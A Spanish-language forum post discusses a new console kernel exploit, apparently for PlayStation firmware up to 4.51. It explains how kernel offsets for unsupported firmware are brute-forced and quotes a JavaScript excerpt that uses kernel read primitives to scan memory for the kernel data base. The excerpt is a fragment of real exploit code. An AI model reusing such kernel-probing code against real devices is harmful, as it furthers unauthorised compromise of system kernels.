DoctaIgnorantia escribió:Hace 17h Specter actualizó los archivos del proyecto publicado en github, incluyendo los offsets (entre otros cambios) hasta la versión 4.51.
Esto marcha!
(A quien le interese) La identificación de los offsets de los fw aún no soportados se está realizando (de momento) por fuerza bruta: Se toma un puntero de datos conocido de la pila y, previa paginación, se busca hacia atrás un patrón conocido en el sector de datos de solo lectura (rodata)
Esta metodología se utiliza a menudo cuando intentas entrar por primera vez en un sistema donde no has sido invitado o, como en este caso, cuando quieres migrar la vulnerabilidad de un sistema a versiones más recientes pero desconoces si funcionará del mismo modo. Cuando se determinen los offsets de los fw posteriores (<=5.50), supongo que se modificará esta función y se eliminará el bucle de lectura (a nivel de rendimiento, recorrer toda la página de lectura no es que sea muy eficiente).
Aun estamos en una fase muy temprana de este nuevo exploit. Toca tener un poco más de paciencia, hasta que terminen de pulirlo, llegue a más fw (dentro de los soportados por el webkit) y se migren las funcionalidades liberadas para el exploit actual (Cex2Dex) a dichos fw
// If this is running on a firmware that doesn't have good kernel offsets, find kernel data base
let save_presumed_kdata_base = 0;
if (OFFSET_KERNEL_DATA == 0xDEADC0DE) {
// Code for firmwares where finding kernel offsets is tricky, we take a known data
// pointer from the stack, page align, and search backwards for a pattern in rodata
// 01 00 00 00 01 00 00 00
var known_data_addr = 0x8E0;
var estimate_min_pages = 0x50;
var kernel_unkaddr = p.read8(kstack.add32(0x3000 + known_data_addr));
var kernel_data_page = kernel_unkaddr.and32(0xFFFFC000);
let presumed_kdata_base = kernel_data_page.sub32(0x16C000); // 1.05
save_presumed_kdata_base = presumed_kdata_base;
if (presumed_kdata_base == 0) {
alert("Trying to bruteforce kernel base (minpages=0x" + estimate_min_pages.toString(16) + "), this can take a while...");
debug_log("[+] don't have kernel offsets, trying to bruteforce kernel base (minpages=0x" + estimate_min_pages.toString(16) + "), this can take a while...");
for (let i = (estimate_min_pages * 0x4000); ; i += 0x4000) {
let test_kernel_addr = kernel_data_page.sub32(i);
debug_log("[+] trying read @ i=0x" + i.toString(16) + ", addr=0x" + test_kernel_addr);
let data1 = await kernel_slow_read8(test_kernel_addr.add32(0x00));
if (data1.low != 1 || data1.hi != 1) {
continue;
}
let data2 = await kernel_slow_read8(test_kernel_addr.add32(0x08));
if (data2.low != 0 || data2.hi != 0) {
continue;
}
let data3 = await kernel_slow_read8(test_kernel_addr.add32(0x10));
debug_log("[+] data1=0x" + data1 + ", data2=0x" + data2 + ", data3=0x" + data3);
if (data3.hi == 0xFFFFFFFF) {
presumed_kdata_base = test_kernel_addr;
debug_log("[+] found kdata base: 0x" + presumed_kdata_base + " (i=0x" + i.toString(16) + ")");
break;
}
}
}
}